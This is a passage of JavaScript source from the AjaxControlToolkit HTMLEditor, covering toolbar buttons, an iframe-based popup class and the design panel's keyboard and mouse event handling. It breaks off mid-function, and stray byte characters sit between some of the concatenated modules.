    this._onchange$delegate = Function.createDelegate(this, this._onchange);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.prototype = {
    
    initialize : function() {
        var nodeId = this.get_element().id;
        AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.callBaseMethod(this, "initialize");
        this._select =  $get(nodeId+"_select");
        
        $addHandler(this._select, "change", this._onchange$delegate);
        for(var i=0; i < this._select.options.length; i++) {
            var option = this._select.options[i];
            $addHandler(option, "click", this._onclick_option$delegate);
        }
    },
    
    dispose : function() {
        for(var i=0; i < this._select.options.length; i++) {
            var option = this._select.options[i];
            $removeHandler(option, "click", this._onclick_option$delegate);
        }

        $removeHandler(this._select, "change", this._onchange$delegate);
        AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.callBaseMethod(this, "dispose");
    },
    
    isImage : function() {
        return false;
    },
    
    
    callMethod : function(select,e) {
        return true;
    },
    
    _onclick_option : function(e) {
        if (!this.isEnable()) {
            return false;
        }
        var option = e.target;
        option.parentNode.value=option.value;
        AjaxControlToolkit.HTMLEditor._stopEvent(e);
        if(!AjaxControlToolkit.HTMLEditor.isSafari) return false;
        this.callMethod(option.parentNode,e);
        return true;
    },
    
    _onchange : function(e) {
        if (!this.isEnable()) {
            return false;
        }
        var select = e.target;
        AjaxControlToolkit.HTMLEditor._stopEvent(e);
        this.callMethod(select,e);
        return true;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("bold", false, null);
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._queryCommandState("bold");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Bold", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

r'Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");

AjaxControlToolkit.HTMLEditor.Popups.Popup = function(element) {
    AjaxControlToolkit.HTMLEditor.Popups.Popup.initializeBase(this, [element]);

    this._iframe = null;
    this._top = 0;
    this._left = 0;
    this._doc = null;
    this._initialContent = "";
    this._cssPath = "";
    this._autoDimensions = true;
    this._registeredFields = [];
    this._registeredHandlers = [];
    this._app_onload$delegate = Function.createDelegate(this, this._app_onload);
    this.isOpened = false;
    this.isLoaded = false;
    this.isLoading = false;
}

AjaxControlToolkit.HTMLEditor.Popups.Popup.prototype = {

    getDocument: function() {
        return this._doc;
    },

    getPopupMediator: function() {
        if (this._iframe.contentWindow && this._iframe.contentWindow.popupMediator) {
            return this._iframe.contentWindow.popupMediator;
        } else {
            return null;
        }
    },

    get_registeredFields: function() {
        return this._registeredFields;
    },
    set_registeredFields: function(value) {
        this._registeredFields = eval(value);
    },

    get_registeredHandlers: function() {
        return this._registeredHandlers;
    },
    set_registeredHandlers: function(value) {
        this._registeredHandlers = eval(value);
    },

    get_initialContent: function() {
        return this._initialContent;
    },
    set_initialContent: function(value) {
        this._initialContent = value;
    },

    get_cssPath: function() {
        return this._cssPath;
    },
    set_cssPath: function(value) {
        this._cssPath = value;
    },

    get_autoDimensions: function() {
        return this._autoDimensions;
    },
    set_autoDimensions: function(value) {
        this._autoDimensions = value;
    },

    get_iframe: function() {
        return this._iframe;
    },
    set_iframe: function(value) {
        this._iframe = value;
    },

    checkCorrectLoaded: function(func) {
        var popup = this;
        if (popup.isLoaded && (popup._iframe.style.height == "0px" || popup._iframe.style.width == "0px")) {
            this.isLoaded = false;
        }
        if (!this.isLoaded) {
            if (!this.isLoading) {
                this.reload();
            }
            if (typeof func != "undefined") {
                setTimeout(func, 10);
            }
            return false;
        }
        return true;
    },

    _baseOpen: function(callback, top, left) {
        var popup = this;
        
        if(!this.checkCorrectLoaded(function() { popup._baseOpen(callback, top, left); })) {
            return;
        }
        
        var element = this.get_element();
        if (typeof left != "undefined") this._left = parseInt(left);
        if (typeof top != "undefined") this._top = parseInt(top);

        element.style.top = this._top + "px";
        element.style.left = this._left + "px";

        setTimeout(function() {
            if (typeof callback == "function") {
                popup._onDocumentLoaded(callback);
            }
            popup.isOpened = true;
        }, 0);
    },

    open: function(callback, top, left) {
        this._baseOpen(callback, top, left);
    },

    close: function(callback) {
        var element = this.get_element();
        this.isOpened = false;

        element.style.top = "-2000px";
        element.style.left = "-2000px";

        if (typeof callback == "function") {
            callback();
        }
    },

    reload: function() {
        this.isLoading = true;
        var element = this.get_element();
        var _parentNode_ = element.parentNode;
        document.body.appendChild(element);
        _parentNode_.appendChild(this.get_element());
        this._doc = this._iframe.contentWindow.document;
        this._doc.open();
        var html = new Sys.StringBuilder();

        html.append("<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\"><html><head>");
        if (this._cssPath.length > 0) {
            html.append("<link rel=\"stylesheet\" href=\"" + this._cssPath + "\" media=\"all\" />");
        }
        html.append("<script>var __loaded__ = false;</script></head><body style='margin:0px; padding:0px; border-width:0px;' onload='__loaded__ = true;'>");
        if (this._autoDimensions) {
            html.append("<table cellspacing='0' cellpadding='0' border='0'><tr><td>");
        }
        html.append(this._initialContent);
        if (this._autoDimensions) {
            html.append("</td></tr></table>");
        }
        html.append("</body></html>");

        this._doc.write(html.toString());
        this._doc.close();

        this.isLoaded = false;
        this._afterReload();
    },

    _afterReload: function() {
        var contentWindow = this._iframe.contentWindow;
        var popup = this;
        this.isLoaded = contentWindow.__loaded__;

        if (!(popup._doc.body && popup._doc.body.innerHTML)) {
            this.isLoaded = false;
        }

        if (!this.isLoaded) {
            setTimeout(function() { popup._afterReload() }, 10); // waiting for loading
            return;
        }

        this.isLoaded = false;
        contentWindow.popupMediator = {};
        contentWindow.popupMediator.registeredFields = this._registeredFields;
        contentWindow.popupMediator.registeredHandlers = this._registeredHandlers;

        contentWindow.popupMediator.get_callMethodByName = function(name) {
            var handlers = contentWindow.popupMediator.registeredHandlers;
            for (var i = 0; i < handlers.length; i++) {
                var handler = handlers[i];
                if (handler.name == name) {
                    return handler.callMethod;
                }
            }
            return null;
        };

        contentWindow.popupMediator.set_callMethodByName = function(name, value) {
            var handlers = contentWindow.popupMediator.registeredHandlers;
            for (var i = 0; i < handlers.length; i++) {
                var handler = handlers[i];
                if (handler.name == name) {
                    handler.callMethod = value;
                }
            }
        };

        contentWindow.popupMediator.getField = function(name) {
            var registeredFields = contentWindow.popupMediator.registeredFields;
            for (var i = 0; i < registeredFields.length; i++) {
                var registeredField = registeredFields[i];
                if (registeredField.name == name) {
                    return contentWindow.document.getElementById(registeredField.clientID);
                }
            }
            return null;
        };

        contentWindow.Sys = Sys;

        for (var i = 0; i < this._registeredHandlers.length; i++) {
            $find(this._registeredHandlers[i].clientID).activate(contentWindow.document.getElementById(this._registeredHandlers[i].clientID));
        }


        if (AjaxControlToolkit.HTMLEditor.isIE) {
            popup._doc.onselectstart = function() {
                var event = popup._iframe.contentWindow.event;
                var tagName = event.srcElement.tagName.toUpperCase();
                if (tagName == "INPUT" || tagName == "TEXTAREA") return true;
                return false;
            };
        } else {
            popup._doc.onmousedown = function disableselect(e) {
                var tagName = e.target.tagName.toUpperCase();
                if (tagName == "INPUT" || tagName == "TEXTAREA" || tagName == "SELECT") return true;
                if (AjaxControlToolkit.HTMLEditor.isSafari)
                    if (tagName == "TABLE" || tagName == "TR" || tagName == "TD" || tagName == "DIV") return true;
                return false;
            };

            var aInp = popup._doc.getElementsByTagName('input');
            for (var i = 0; i < aInp.length; i++) {
                aInp[i].setAttribute('autocomplete', 'off')
            }
        }

        if (this._autoDimensions) {
            popup._iframe.style.height = "1000px";
            popup._iframe.style.width = "1000px";
            setTimeout(function() {
                popup._iframe.style.height = popup._doc.body.firstChild.offsetHeight + "px";
                popup._iframe.style.width = popup._doc.body.firstChild.offsetWidth + "px";
                popup.isLoaded = true;
                popup.isLoading = false;
            }, 0);
        } else {
            popup.isLoaded = true;
            popup.isLoading = false;
        }
    },

    _onDocumentLoaded: function(callback) {
        var popup = this;
        if (!this.isLoaded) {
            setTimeout(function() { popup._onDocumentLoaded(callback) }, 10); // waiting for loading
            return;
        }
        this.isLoaded = true;
        callback(this._iframe.contentWindow);
    },

    initialize: function() {
        this.__appLoaded__ = false;
        AjaxControlToolkit.HTMLEditor.Popups.Popup.callBaseMethod(this, "initialize");
        Sys.Application.add_load(this._app_onload$delegate);
    },

    dispose: function() {
        Sys.Application.remove_load(this._app_onload$delegate);
        if (this.isOpened) {
            this.close();
        }
        AjaxControlToolkit.HTMLEditor.Popups.Popup.callBaseMethod(this, "dispose");
    },

    _app_onload: function(sender, e) {
        if (this.__appLoaded__) return;
        this.__appLoaded__ = true;
        var element = this.get_element();
        if (AjaxControlToolkit.HTMLEditor.isReallyVisible(element)) {
            this._parentNode_ = element.parentNode;
            this.reload();
        }
    }
}

AjaxControlToolkit.HTMLEditor.Popups.Popup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.Popup", Sys.UI.Control);
Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");

AjaxControlToolkit.HTMLEditor.Popups.LinkProperties = function(element) {
    AjaxControlToolkit.HTMLEditor.Popups.LinkProperties.initializeBase(this, [element]);
    
    this._defaultTarget = "_self";
    this._targetTextHolder = null;
    this._urlTextHolder = null;
}

AjaxControlToolkit.HTMLEditor.Popups.LinkProperties.prototype = {
    get_defaultTarget : function() {
        return this._defaultTarget;
    },
    set_defaultTarget : function(value) {
        this._defaultTarget = value;
    }
}

AjaxControlToolkit.HTMLEditor.Popups.LinkProperties.registerClass("AjaxControlToolkit.HTMLEditor.Popups.LinkProperties", AjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup);
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs = function(oldMode, newMode, editPanel)     
{     
  if (arguments.length != 3) throw Error.parameterCount();     
  
  //Calling the base class constructor     
  AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs.initializeBase(this);     
  this._oldMode = oldMode;     
  this._newMode = newMode;     
  this._editPanel = editPanel;     
}     
  
AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs.prototype =     
{     
  get_oldMode : function()     
  {     
    return this._oldMode;     
  },       
  get_newMode : function()     
  {     
    return this._newMode;     
  },
  get_editPanel : function()     
  {     
    return this._editPanel;     
  }     
}     
  
AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs.registerClass('AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs', Sys.EventArgs);
��Type.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.DesignPanelEventHandler = function(ev) {
    try {
        var editor = this;
        if (editor._editPanel != AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
            return true;
        }
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            try {
                var selka = this._doc.selection;
                var rrr = this._createRange(selka);
            } catch (e) {
                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                return false;
            }
        }
        if (ev.type == "mousedown" || ev.type == "dblclick") {
            this._focus(true);
        }

        if (!AjaxControlToolkit.HTMLEditor.isIE && ev.type == "keydown" && ev.keyCode == Sys.UI.Key.tab && this._editPanel.get_suppressTabInDesignMode()) {
            AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel = null;
            return true;
        }

        if (this.isPopup()) {
            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
            return false;
        }
        //
        // if there is opened Context menu
        //
        var contextMenuRemoved = false;
        if (editor._contextElement && editor._contextElement != null) {
            Function.createDelegate(this, AjaxControlToolkit.HTMLEditor.RemoveContextMenu)();
            if (ev.type == "keydown" || ev.type == "keypress") {
                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                return;
            }
            contextMenuRemoved = true;
        }
        if (typeof editor.captureInDesign == "function") {
            if (editor.captureInDesign(ev) === false) {
                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                return;
            }
        }
        // try to emulate "Ctrl + mouse click" in IE
        //
        if (AjaxControlToolkit.HTMLEditor.isIE && ev.type == "mousedown" && ev.ctrlKey) {
            var sel = editor._getSelection();
            var savedX = ev.clientX;
            var savedY = ev.clientY;
            setTimeout(function() {
                var sel = editor._getSelection();
                if (sel.type.toLowerCase() != "control") {
                    var range = editor._doc.body.createTextRange();
                    range.moveToPoint(savedX, savedY);
                    range.select();
                }
                sel = editor._getSelection();
                var range = editor._createRange(sel);
                var parent = AjaxControlToolkit.HTMLEditor.getSelParent(editor);
                while (parent != null && parent.tagName.toUpperCase() != "BODY") {
                    if (parent.tagName.toUpperCase() == "A" && parent.href != null && typeof parent.href != "undefined" && parent.href.length > 0) {
                        window.open(parent.href, "LinkViewWindow");
                        break;
                    }
                    parent = parent.parentNode;
                }
            }, 0);
            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
            return false;
        }

        var el = (!AjaxControlToolkit.HTMLEditor.isIE) ? ev.target : ev.srcElement;
        if (el.tagName != null && typeof el.tagName != "undefined" && (el.tagName.toUpperCase() == "HTML" || el.tagName.toUpperCase() == "BODY")) {
            if (editor.__kkoka != true) {
                editor.__kkoka = true;
                setTimeout(function() {
                    if (editor._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
                        if (!editor.toEndOfProtected()) {
                            try {
                                editor.focusEditor();
                            } catch (ex) { }
                        }
                    }
                    editor.__kkoka = false;
                }, 0);
            }
        }
        else {
            if (AjaxControlToolkit.HTMLEditor.contentEditable(el) != null) {
                setTimeout(function() {
                    if (editor._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
                        editor.toEndOfProtected();
                    }
                }, 0);
            }
        }

        if (contextMenuRemoved && (AjaxControlToolkit.HTMLEditor.isIE)) {
            var sss = this._getSelection();
            var rrr;
            try {
                rrr = this._createRange(sss);
                if (sss.type.toLowerCase() == "control") {
                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                    return false;
                }
            } catch (ex) {
                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                return false;
            }
        }
        var keyEvent = (AjaxControlToolkit.HTMLEditor.isIE && ev.type == "keydown") || (ev.type == "keypress");
        var rere = ev.type + "--" + keyEvent;

        if (keyEvent && !this._editPanel.get_keyboardEnabled()) {
            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
            return false;
        }

        var key = String.fromCharCode(AjaxControlToolkit.HTMLEditor.isIE ? ev.keyCode : ev.charCode).toLowerCase(); ;
        if (keyEvent && editor._editPanel.get_hotkeys() != null) {
            if (editor._editPanel.get_hotkeys().length > 0) {
                var keysn = editor._editPanel.get_hotkeys().length;
                var cake = key;
                if (ev.keyCode == 18 || ev.keyCode == 17 || ev.keyCode == 16) {
                    cake = null;
                }
                for (var i = 0; i < keysn; i++) {
                    var item = editor._editPanel.get_hotkeys()[i];
                    if (item[1] == cake && item[2] == ev.altKey && item[3] == ev.shiftKey && item[4] == ev.ctrlKey) {
                        if (typeof item[0] == "function") {
                            setTimeout(function() {
                                (item[0])(editor);
                                editor.onContentChanged();
                                editor.focusEditor();
                            }, 0);
                        }
                        AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                        return false;
                    }
                }
            }
        }
        if (keyEvent && ev.shiftKey && ev.keyCode == 45) {
            this._commonPaste(ev);
        } else {
            if (keyEvent && ev.ctrlKey && ev.altKey && ev.keyCode == Sys.UI.Key.home) {
                var prot = null;
                var el = AjaxControlToolkit.HTMLEditor.getSelParent(editor);
                while (el && (el.nodeType == 3 || (el.tagName && el.tagName.toUpperCase() != "BODY"))) {
                    if (el.nodeType == 3 || !el.tagName) {
                        el = el.parentNode;
                        continue;
                    }
                    var tagName = el.tagName.toUpperCase();
                    if (!AjaxControlToolkit.HTMLEditor.canBeInsideP(el) && tagName != "P") {
                        if (tagName == "TD") {
                            while (tagName != "TABLE") {
                                el = el.parentNode;
                                tagName = el.tagName.toUpperCase();
                            }
                        } else {
                            if (tagName == "LI") {
                                while (tagName != "OL" && tagName != "UL") {
                                    el = el.parentNode;
                                    tagName = el.tagName.toUpperCase();
                                }
                            }
                        }
                        prot = el;
                        break;
                    }
                    el = el.parentNode;
                }
                if (prot != null) {
                    var sel = editor._getSelection();
                    var range = editor._createRange(sel);
                    var tempText = editor._doc.createTextNode("");
                    prot.parentNode.insertBefore(tempText, prot);
                    if (AjaxControlToolkit.HTMLEditor.isIE) {
                        var range1 = editor._createRange(sel);
                        var range2 = editor._createRange(sel);
                        var span1 = editor._doc.createElement("span");
                        var span2 = editor._doc.createElement("span");
                        tempText.parentNode.insertBefore(span1, tempText);
                        if (tempText.nextSibling) {
                            tempText.parentNode.insertBefore(span2, tempText.nextSibling);
                        } else {
                            tempText.parentNode.appendChild(span2);
                        }
                        try {
                            range1.moveToElementText(span1);
                            range2.moveToElementText(span2);
                            range1.setEndPoint("EndToEnd", range2);
                            range1.select();
                        } catch (e) { }
                        tempText.parentNode.removeChild(span1);
                        tempText.parentNode.removeChild(span2);
                    } else {
                        editor._removeAllRanges(sel);
                        range.setStart(tempText, 0);
                        range.setEnd(tempText, 0);
                        editor._selectRange(sel, range);
                    }
                }
            }
            else
                if (AjaxControlToolkit.HTMLEditor.isIE && ev.keyCode >= 33 && ev.keyCode <= 40 && !ev.shiftKey) {
                var after_pos = (ev.keyCode == Sys.UI.Key.pageDown || ev.keyCode == Sys.UI.Key.end || ev.keyCode == Sys.UI.Key.right || ev.keyCode == Sys.UI.Key.down);
                setTimeout(function() {
                    var sel = editor._getSelection();
                    var range = editor._createRange(sel);
                    if (sel.type.toLowerCase() == "control") {
                        var el = range.item(0);
                        if (!el.contentEditable || el.contentEditable == "false") {
                            range.remove(0);
                            sel.empty();
                            range = editor._createRange(sel);
                            var span = editor._doc.createElement("SPAN");
                            span.appendChild(editor._doc.createTextNode(""));
                            if (after_pos) {
                                if (el.nextSibling == null)
                                    el.parentNode.appendChild(span);
                                else
                                    el.parentNode.insertBefore(span, el.nextSibling);
                            } else {
                                el.parentNode.insertBefore(span, el);
                            }
                            range.moveToElementText(span);
                            range.select();
                            setTimeout(function() {
                                editor.focusEditor();
                                span.parentNode.removeChild(span);
                            }, 0);
                        }
                    }
                }, 0);
            }
            else
                if (((keyEvent && !AjaxControlToolkit.HTMLEditor.isSafari) || (AjaxControlToolkit.HTMLEditor.isSafari && ev.type == "keydown")) && ev.ctrlKey && !ev.altKey) {
                editor._a_prize = false;
                var sel = null;
                var range = null;
                var key = String.fromCharCode((AjaxControlToolkit.HTMLEditor.isIE || AjaxControlToolkit.HTMLEditor.isOpera || AjaxControlToolkit.HTMLEditor.isSafari) ? ev.keyCode : ev.charCode).toLowerCase();
                var cmd = null;
                var value = null;
                if ((AjaxControlToolkit.HTMLEditor.isIE || AjaxControlToolkit.HTMLEditor.isSafari) && ev.keyCode == 17) { // Ctrl
                    return false;
                }
                else
                    if (!AjaxControlToolkit.HTMLEditor.isIE && ev.keyCode == Sys.UI.Key.end && !ev.shiftKey) {
                    editor._setToEnd();
                }
                else
                    if (ev.keyCode == 46 && this.isShadowed()) {
                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                    return false;
                }
                else
                    if (ev.keyCode == 46 || ev.keyCode == Sys.UI.Key.backspace) {
                    if ((AjaxControlToolkit.HTMLEditor.isIE && ev.type == "keydown") || (!AjaxControlToolkit.HTMLEditor.isIE && ev.type == "keypress"))
                        this._saveContent();
                }
                else {
                    switch (key) {
                        case "a":
                            if (!AjaxControlToolkit.HTMLEditor.isIE) {
                                // KEY select all
                                sel = this._getSelection();
                                this._removeAllRanges(sel);
                                range = this._createRange();
                                range.selectNodeContents(this._doc.body);
                                this._selectRange(sel, range);
                                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                return false;
                            } else {
                                editor._a_prize = true;
                            }
                            break;
                        case "z":
                            this.undo();
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            return false;
                            break;
                        case "p":
                            if (!AjaxControlToolkit.HTMLEditor.isIE) {
                                setTimeout(function() {
                                    editor._contextMenuCallP();
                                }, 0);
                                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                return false;
                            }
                            break;
                        case "y":
                            this.redo();
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            return false;
                            break;
                        case "x":
                            if (this.isShadowed()) {
                                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                return false;
                            }
                            this._saveContent();
                            if (AjaxControlToolkit.HTMLEditor.isIE) {
                                if (ev.type == "keydown") {
                                    editor.openWait();
                                    setTimeout(function() {
                                        editor._copyCut(key, false);
                                        editor.closeWait();
                                    }, 0);
                                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                    return false;
                                }
                            }
                            break;
                        case "c":
                            if (this.isShadowed()) {
                                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                return false;
                            }
                            if (AjaxControlToolkit.HTMLEditor.isIE) {
                                if (ev.type == "keydown") {
                                    editor.openWait();
                                    setTimeout(function() {
                                        editor._copyCut(key, false);
                                        editor.closeWait();
                                        setTimeout(function() {
                                            editor._ifShadow();
                                        }, 0);
                                    }, 0);
                                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                    return false;
                                }
                            }
                            break;
                        case "v":
                            if (this.isShadowed()) {
                                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                return false;
                            }

                            // This was added on 5 Feb 2009 : "Let's paste it as it is" in IE
                            // Not a good idea, but in this case some Word's markup will not be lost
                            if (AjaxControlToolkit.HTMLEditor.isIE) {
                                this._saveContent();
                                return true;
                            }

                            this._commonPaste(ev);
                            break;
                        // simple key commands follow                                                                  
                        case "b": // KEY bold
                            this._execCommand("bold", false, value);
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            return false;
                        case "i": // KEY italic
                            this._execCommand("italic", false, value);
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            return false;
                        case "u": // KEY underline
                            this._execCommand("underline", false, value);
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            return false;
                        case "s": // KEY strike through
                            this._execCommand("strikethrough", false, value);
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            return false;
                        case "l": // KEY justify left
                            cmd = "justifyleft";
                            break;
                        case "e": // KEY justify center
                            cmd = "justifycenter";
                            break;
                        case "r": // KEY justify right
                            cmd = "justifyright";
                            break;
                        case "j": // KEY justify full
                            cmd = "justifyfull";
                            break;
                        case "q": // test KEY
                            alert(this._doc.body.innerHTML);
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            return false;
                            break;
                        case "0": // test KEY
                            var str1 = "Your browser:\n\n" + navigator.userAgent;
                            alert(str1);
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            return false;
                            break;
                        case "9":
                            if (!AjaxControlToolkit.HTMLEditor.isIE) {
                                var sel = editor._getSelection();
                                var range = editor._createRange(sel);
                                var p1 = range.startContainer;
                                var p2 = range.endContainer;
                                var Str = "";
                                Str += "startContainer: " + (p1.nodeType == 1 ? p1.tagName : "text") + "\n";
                                Str += "endContainer  : " + (p2.nodeType == 1 ? p2.tagName : "text") + "\n";
                                if (p1 == p2) {
                                    Str += "startOffset: " + range.startOffset + "\n";
                                    Str += "endOffset  : " + range.endOffset + "\n";
                                    if (p1.nodeType == 1) {
                                        p1 = p1.childNodes.item(range.startOffset);
                                        if (p1 && p1.nodeType) {
                                            Str += "startOffset node: " + (p1.nodeType == 1 ? p1.tagName : "text") + "\n";
                                            if (range.startOffset != range.endOffset) {
                                                p1 = p2.childNodes.item(range.endOffset);
                                                if (p1 && p1.nodeType) {
                                                    Str += "endOffset node: " + (p1.nodeType == 1 ? p1.tagName : "text") + "\n";
                                                }
                                            }
                                        } else {
                                            Str += p1;
                                        }
                                    }
                                }
                                alert(Str);
                            } else {
                                var sel = editor._getSelection();
                                var range = editor._createRange(sel);
                                alert("boundingLeft: " + range.boundingLeft + " boundingTop: " + range.boundingTop + "\n" + "boundingWidth: " + range.boundingWidth + " boundingHeight: " + range.boundingHeight);
                            }
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            return false;
                            break;
                    }
                }
                if (cmd) {
                    // execute simple command
                    this._execCommand(cmd, false, value);
                    if (cmd == "formatblock" && !AjaxControlToolkit.HTMLEditor.isIE) {
                        this._saveContent();
                        this._undo(false);
                    }
                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                    if (cmd == "delete" || cmd == "paste") {
                        this._clearP();
                    }
                }
            }
            else
                if (keyEvent || ((AjaxControlToolkit.HTMLEditor.isSafari || AjaxControlToolkit.HTMLEditor.isOpera) && ev.type == "keydown")) {
                // other keys here
                if (AjaxControlToolkit.HTMLEditor.isIE && this._tryForward) {
                    var range = this._createRange(this._getSelection());
                    range.select();
                    this._tryForward = false;
                }
                var key = String.fromCharCode(AjaxControlToolkit.HTMLEditor.isIE ? ev.keyCode : ev.charCode).toLowerCase();
                if (editor._a_prize) {
                    editor._a_prize = false;

                    function test_a() {
                        var r = editor._createRange(editor._getSelection());
                        var parent = r.parentElement();
                        if (parent && parent.nodeType == 1 && parent.tagName.toUpperCase() == "P") {
                            while (parent.firstChild) {
                                parent.parentNode.insertBefore(parent.firstChild, parent);
                            }
                            parent.parentNode.removeChild(parent);
                        }
                    }
                    // wait for the IE stops operating this event
                    setTimeout(test_a, 0);
                }
                if (this.isShadowed()) {
                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                    return false;
                }

                switch (ev.keyCode) {
                    case Sys.UI.Key.tab:
                        if ((AjaxControlToolkit.HTMLEditor.isSafari || AjaxControlToolkit.HTMLEditor.isOpera) && ev.type != "keydown") break;
                        if (!this._editPanel.get_suppressTabInDesignMode()) {
                            if (!this.isControl())
                                this.insertHTML("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;");
                            AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                        }
                        else {
                            if (AjaxControlToolkit.HTMLEditor.isSafari) {
                                AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                            }
                            AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel = null;
                            return true;
                        }
                        break;

                    case 46: case Sys.UI.Key.backspace:
                        if ((AjaxControlToolkit.HTMLEditor.isSafari || AjaxControlToolkit.HTMLEditor.isOpera) && ev.type != "keydown") break;
                        if (((AjaxControlToolkit.HTMLEditor.isIE || AjaxControlToolkit.HTMLEditor.isSafari) && ev.type == "keydown") || (!AjaxControlToolkit.HTMLEditor.isIE && ev.type == "keypress")) {
                            this._saveContent();
                        }
                        if (!AjaxControlToolkit.HTMLEditor.isIE) {
                            var range = this._createRange(this._getSelection());
                            var p1 = range.startContainer;
                            var p2 = range.endContainer;
                            if (ev.type == "keypress") {
                                if (AjaxControlToolkit.HTMLEditor.contentEditable(p1) != null || AjaxControlToolkit.HTMLEditor.contentEditable(p2) != null) {
                                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                    return false;
                                }
                            }
                            // inside TD
                            if (p1 == p2 && p1.nodeType == 1 && p1.tagName.toUpperCase() == "TD" && range.startOffset == range.startOffset && p1.childNodes.item(range.startOffset) && p1.childNodes.item(range.startOffset).tagName && p1.childNodes.item(range.startOffset).tagName.toUpperCase() == "BR") {
                                var span = p1.childNodes.item(range.startOffset);
                                var left = 0, right = 0;
                                var nb;
                                nb = span.previousSibling;
                                while (nb) {
                                    left++;
                                    nb = nb.previousSibling;
                                }
                                nb = span.nextSibling;
                                while (nb) {
                                    right++;
                                    nb = nb.nextSibling;
                                }
                                if ((ev.keyCode == 46 && right == 0) || (ev.keyCode == Sys.UI.Key.backspace && left == 0)) {
                                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                    return false;
                                } else {
                                    if (ev.keyCode == 46 && p1.firstChild == p1.lastChild && p1.firstChild.nodeType == 1) {
                                        AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                        return false;
                                    }
                                }
                            }
                            // inside TEXTNODE
                            if (p1 == p2 && p1.nodeType == 3 && range.startOffset == range.endOffset && !AjaxControlToolkit.HTMLEditor.isOpera) {
                                var data = p1.data + "";
                                if (ev.keyCode == 46) {
                                    if (range.startOffset == data.length && !(p1.nextSibling && p1.nextSibling.nodeType == 3)) {
                                        if (p1.nextSibling) {
                                            p1.parentNode.removeChild(p1.nextSibling);
                                            editor.onContentChanged();
                                        }
                                        AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                        return false;
                                    }
                                }
                                if (ev.keyCode == Sys.UI.Key.backspace) {
                                    if (range.startOffset == 0 && !(p1.previousSibling && p1.previousSibling.nodeType == 3)) {
                                        if (p1.previousSibling) {
                                            p1.parentNode.removeChild(p1.previousSibling);
                                            editor.onContentChanged();
                                        }
                                        AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                                        return false;
                                    }
                                }
                            }

                            if (ev.keyCode == Sys.UI.Key.backspace && p1.nodeType == 1 && p1 == p2 && range.startOffset == range.endOffset) {
                                var mel = p1.childNodes.item(range.startOffset);
